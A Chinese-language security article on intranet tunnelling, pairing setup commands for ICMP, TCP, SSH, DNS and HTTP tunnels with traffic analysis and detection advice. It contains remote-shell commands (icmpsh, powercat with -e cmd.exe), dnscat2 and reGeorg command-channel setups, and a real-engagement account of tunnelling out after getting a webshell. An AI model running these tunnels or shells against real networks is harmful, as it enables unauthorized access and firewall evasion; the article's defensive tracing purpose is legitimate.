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内⽹穿透从搭建到溯源

这是  酒仙桥六号部队  的第  3 8  篇⽂章。

全⽂共计 3 1 3 7个字，预计阅读时⻓ 1 2分钟。

背景

在攻防博弈这个永久的话题中，永远不会缺少⼀个重要⻆⾊即内⽹穿透。当渗透测试⼈

员在进⼊内⽹，需要扩⼤战果的时候，往往会遇到内⽹的⼀些防护策略，不外乎边界设

备、防⽕墙及⼊侵检测设备对端⼝或者数据包的拦截，导致流量⽆法出⽹，此时就需要

熟练掌握内⽹穿透技术，从复杂的内⽹环境中获取稳定的流量交互，从⽽达到⽬的。

本⽂针对边界安全设备等对内⽹端⼝的屏蔽及数据包的拦截，从不同的⽹络协议层进⾏

搭建隧道进⾏绕过，并对不同类型的隧道流量或者⽇志进⾏分析，帮助攻击或防守⼈员

从溯源的维度更好的掌握内⽹穿透技术。

⽹络层隧道搭建

从⽹络层开始，主要的隧道技术有 I P V 6隧道、 I C M P隧道、G R E隧道，其中常⽤的隧道

技术是 I C M P隧道技术。

i cmp隧道搭建

i c m p隧道搭建的场景主要⽤于在拦截策略关闭了端⼝，⽽ I C M P协议⽤于检测⽹络连通

状态，不依赖于端⼝开放，⽽防⽕墙通常会开放此协议。通常⽤于搭建 i c m p隧道的⼯具

有 i c m p s h、P i n g T u n n e l、p o w e r s h e l l  i c m p等，本次测试使⽤ i c m p s h。

搭建⼯具

（h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h）

⾸先在⽬标主机进⾏P i n g测试：
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接下来在a t t a c k主机执⾏监听：

在 v i c t i m主机执⾏ s h e l l反弹命令 ,该命令在 s e r v e r端有返回：

反弹成功：

1 `ping 192.168.43.136`

1 `icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128`
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此处已经搭建成功。

i cmp隧道分析

⾸先查看普通p i n g数据包：

再看下执⾏了命令n e t s t a t  - a n o产⽣的数据包：

通过对⽐，我们发现普通的 p i n g请求存在 4个带有 3 2字节数据的数据包，并且数据内容

为 a b c d e f g h i g k l m n o p q r s t u v w a b c d e f g h i ；⽽相对的使⽤ I C M P隧道搭建的 s h e l l通道

执⾏了命令的流量显示在短时间内有⼤量的 i c m p请求和回复流量，每个数据包的 d a t a

含有⾼达 1 2 8字节的数据，这个 d a t a数据可以通过命令进⾏修改，同时可以看到数据中

含有⼤量的命令执⾏的内容返回，因此该隧道的溯源可以从以下⽅⾯进⾏：

单位时间内的 i c m p数据包数量
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数据包⼤⼩

数据包内容

传输层隧道搭建

传输层主要有T C P、U D P协议，因此隧道搭建也是基于这两种协议进⾏的。常⽤的隧道

搭建⼯具有n e t c a t、p o w e r c a t等，本⽂通过p o w e r c a t和n c进⾏测试

⼯具下载：

p o w e r c a t

（ h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o

w e r c a t . p s 1）

powe r c a t隧道搭建

v i c t i m ( 1 9 2 . 1 6 8 . 4 3 . 1 0 9 ) :

a t t a c k ( 1 9 2 . 1 6 8 . 4 3 . 1 3 6 ) :

在 v i c t i m端看到与远程连接建⽴成功：

在a t t a c k端可以成功执⾏命令：

1

2

Import-Module .\powercat.ps1

powercat -l -p 8888 -e cmd.exe -v

1 nc 192.168.43.109 8888 -vv
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powe r c a t隧道分析

通过查看 p o w e r c a t搭建的隧道进⾏执⾏命令获取的数据包，可以看到获取到很多的

T C P数据包，同时可以看到短时间内发出⼤量的 a c k回应数据包，并且夹杂很多 p s h数

据包，表明该数据包是包括数据内容，我们通过查看数据包的 d a t a数据可以看到内容中

包含我们执⾏的命令及响应内容。通过w i r e s h a r k的数据包进⾏分析，我们可以通过对

数据包的内容进⾏安全检测进⾏防御。

应⽤层隧道搭建
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应⽤层位于T C P / I P协议的最顶层，通常⽤于搭建各种应⽤服务，⽽基于应⽤层搭建的隧

道技术就是利⽤各种应⽤所占⽤的端⼝进⾏搭建，⽐如有S S H、H T T P / H T T P S和D N S

服务，这些服务是服务器经常⽤到不会被禁⽌的协议。

s s h隧道搭建

S S H是英⽂ S e c u r e  S h e l l的简写形式 , S S H  为建⽴在应⽤层基础上的安全协议。 S S H  

是较可靠，专为远程登陆会话和其他⽹络服务提供安全性的协议。 f t p、p o p和 t e l n e t在

本质上都是不安全的，因为它们在⽹络上⽤明⽂传送⼝令和数据，别有⽤⼼的⼈⾮常容

易就可以截获这些⼝令和数据。⽽且，这些服务程序的安全认证⽅式也是有其弱点的，  

就是很容易受到 “中间⼈ ”攻击，S S H⽬前包括  S S H 1和S S H 2两个版本，是⽬前最常⽤

的安全通讯协议。通常情况下， s s h协议是允许通过防⽕墙和边界设备。

s s h隧道通常⽤于端⼝转发，常⽤的端⼝转发有本地转发、远程转发和动态转发，其利

⽤场景也不同，以下将分别介绍：

本地转发

本地转发⼀般⽤于外⽹通过 d m z资源访问内部⽆外⽹ i p的资源，此时 d m z资源通常有外

⽹ i p且可访问外⽹ ,以下内部⽆外⽹ i p资源简称 i n n e r。

d m z - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 7 9）

i n n e r - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 6 8）

a t t a c k - h o s t ( 1 9 2 . 1 6 8 . 4 3 . 1 3 6 )配置如下：

此时通过 a t t a c k进⾏访问本地 1 2 3 4即可连接 i n n e r主机2 2端⼝的 s s h服务，此时重点注

意 s i r为 i n n e r的登录名，语句如下：

1 ssh -CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179

1 ssh -p 1234 sir@192.168.43.136
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远程转发

远程转发⼀般⽤于外⽹通过 d m z资源访问内部⽆外⽹ i p的资源，同时此时 d m z资源也没

有外部 i p，以下内部⽆外⽹资源简称 i n n e r：

i n n e r - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 6 8）

a t t a c k - h o s t ( 1 9 2 . 1 6 8 . 4 3 . 1 3 6 )

d m z - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 7 9）配置如下：

1 ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136
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通过在a t t a c k主机执⾏，可以成功连接 i n n e r主机的 s s h服务

动态转发

动态转发⼀般在外⽹ a t t a c k主机上通过 d m z主机搭建⼀个外部的 s o c k s 4 / 5代理，然后

通过代理软件添加需要代理的程序即可对内⽹中的资源进⾏访问。

i n n e r - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 6 8）

d m z - h o s t（ 1 9 2 . 1 6 8 . 4 3 . 1 7 9）

a t t a c k - h o s t ( 1 9 2 . 1 6 8 . 4 3 . 1 3 6 )配置代理如下：

s s h隧道分析

1 ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136

1 ssh -CfNg -D 8888 sobug@192.168.43.179
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由于S S H  为建⽴在应⽤层基础上的安全协议，在数据传输中的流量都被加密，因此我们

在w i r e s h a r k中抓到的包看不出异常点，此时我们可以通过端⼝连接进⾏判断，以远程

转发 s s h隧道为例，我们查询端⼝连接情况，发现本机与外⽹主机 1 9 2 . 1 6 8 . 4 3 . 1 3 6的

2 2端⼝有建⽴连接信息。

然后当外⽹连接内部主机后，同⼀P I D 3 1 0 4分别与外⽹和内⽹建⽴了连接，我们通过这

种⽅法基本可以确定本主机被搭建了 s s h隧道进⾏内⽹流量转发操作。

dns隧道搭建

v p s部署域名解析  ⾸先对 v p s建⽴A记录  创建N S记录，获取⼦域名的解析地址为 A

记录的域名。
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对N S记录m a i l⼦域进⾏解析指向 n s 1 * . c l u b的A记录  测试部署：  测试外部对m a i l

⼦域的d n s请求，然后查看 v p s是否处理该请求。

客户端发送d n s请求数据包：

v p s对请求数据的处理：

1 tcpdump -n -i eth0 udp dst port 53
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安装 d n s c a t 2服务端  s e r v e r端：  需要 r u b y环境  安装 g e m、 r u b y、 d n s c a t 2服务

端

启动服务端：

客户端下载地址  ：

p o w e r s h e l l客户端：

测试通信：

连接服务端：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

yum install gem

rm /usr/bin/ruby

wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz

tar -zxvf ruby-2.5.0.tar.gz

cd ruby-2.5.0

mkdir -p /usr/local/ruby

./configure --prefix=/usr/local/ruby

make  && make install

ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby

git clone https://github.com/iagox86/dnscat2.git

cd /server

gem install bunlder

ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder

bunlder install

1 ruby dnscat2.rb mail.****.club -e open -c password --no-cache

1 https://downloads.skullsecurity.org/dnscat2/

1 `https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master`

1 ./ruby --ping mail.target.com

1 ./dnscat --secret=password mail.target.com
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以下显示连接成功。

s e r v e r端  

s e s s i o n s显示已经有客户端会话：

进⼊会话，执⾏ s h e l l交互命令⾏。

通过监听5 3端⼝的流量包发现⼤量的d n s请求数据。

dns隧道分析

通过流量监测，我们可轻易判断出存在⼤量的D N S协议的数据包，同时该数据包与普通

的d n s请求完全不同，⾸先是请求的d n s域名前存在⼀段加密的字符串，其次d n s记录分

布于T X T记录、M X记录和C N A M E记录。

1 session -i session_id

1 tcpdump -n -i eth0 udp dst port 53
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从以下服务端的 t c p d u m p监测的⽇志也可明显看出与普通d n s请求的区别。

因此我们可以从以下⼏⽅⾯进⾏防御：

设置受信任的D N S服务器进⾏通信

阻⽌传⼊和传出的T X T请求

对频繁进⾏D N S请求的设备进⾏禁⽤并发出警告

h t t p隧道搭建

H T T P协议是互联⽹上常⽤的通信协议之⼀。它有很多的应⽤，但最流⾏的就是⽤于

W e b浏览器和W e b服务器之间的通信，即W e b应⽤。通过H T T P服务搭建代理，通常⽤

于将外部流量转⼊内⽹中，常⽤的⼯具有 r e G e o r g、 t u n n a等。以下通过 r e G e o r g进⾏

测试。

d m z : 1 9 2 . 1 6 8 . 1 5 7 . 1 4 8 / 1 9 2 . 1 6 8 . 2 4 7 . 1 3 0
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a t t a c k : 1 9 2 . 1 6 8 . 1 5 7 . 1 4 7

v i c t i m : 1 9 2 . 1 6 8 . 2 4 7 . 1 5 2

r e G e o r g可以⽀持P H P、A S P X、 J S P等脚本语⾔，我们需要将脚本上传⾄⽬标服务器

中，

我们通过上传 t u n n e l⽂件到d m z服务器上：

然后搭建基于该⽂件搭建 s o c k s 5隧道：

说明隧道搭建成功，此时进⾏配置p r o x i f i e r。

搭建到本地代理的8 8 8 8端⼝：
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并配置m s t s c流量从该代理发出：

接下来我们看到可以成功连接 v i c t i m主机。
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h t t p隧道分析

⾸先通过查看抓取的数据流量，我们发现存在 h t t p请求，并且请求中包括有 c m d、

t a r g e t和p o r t三个参数。

然后查看该数据包，在数据包中看到请求的源 I P端⼝及⽬的 I P端⼝，显然请求参数中 I P

端⼝和该数据包的 I P端⼝是不⼀样的。

我们通过监听第⼆个⽹卡（ 1 9 2 . 1 6 8 . 2 4 7 . 1 3 0），发现可以看到存在对远程服务器的

3 3 8 9端⼝链接数据请求，并看到请求的⽬的端⼝的服务名m s - w b t - s e r v e r。
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通过以上分析，我们可以针对 h t t p协议的数据包进⾏查看，并结合数据包中的 i p参数进

⾏溯源，同时针对该 i p进⾏检索数据包查看本机 i p对该 i p的操作内容进⾏多层次的溯

源，同时我们需要结合本机的w i n d o w s⽇志进⾏配合溯源。

案例

在某次项⽬中，通过灵机⼀动的思路 g e t s h e l l后，由于在菜⼑下的操作⽐较局限，因此

思考可以将流量转出来，在多次尝试后，成功使⽤R s s o c k s搭建了 s s o c k s隧道，下⾯

简单说⼀下当时的情况：

R s s o c k s下载地址：

l l h t t p : / / s o u r c e f o r g e . n e t / p r o j e c t s / s s o c k s /

由于⽬标系统为 l i n u x系统，因此需要在 s s o c k s中编译安装 s s o c k s。

. / c o n f i g u r e  & &  m a k e  & &  m a k e  i n s t a l l

⾸先在外⽹的 v p s上通过执⾏如下命令。

R c s o c k s  - l  5 0 0 1  - p  8 0 0 9  - v v
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然后在⽬标主机执⾏。

R s s o c k s  - v v  - s  v p s i p : 1 0 8 0

接下来通过p r o x i f i e r链接 s o c k s代理： v p s i p： 1 0 8 8

扫描的内⽹某 i p端⼝。

此外需要⽤到 k a l i⾥的⼯具p r o x y c h a i n s ,  修改p r o x y c h a i n s配置⽂件。

去掉d y n a m i c _ c h a i n注释，在最后⼀⾏加⼊代理 ,测试内⽹联通性：
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此时对内⽹的流量操控还是很顺⼿的，看到有 1 0 . x . x . 1 6有开放8 0端⼝服务。

浏览器访问探测出的w e b服务 1 0 . x . x . 1 6。

总结

内⽹穿透的⼯具和技巧有很多，本次基于各层协议介绍了具有代表性的搭建隧道⽅法，

不过原理⼤都相似，重点在于项⽬中遇到各种复杂的环境时，能快速判断到可⽤的隧道

类型，并能克服环境中的坑位；同时希望本⽂能帮助项⽬中的防守⼈员从溯源维度更好

的掌握内⽹穿透技术。
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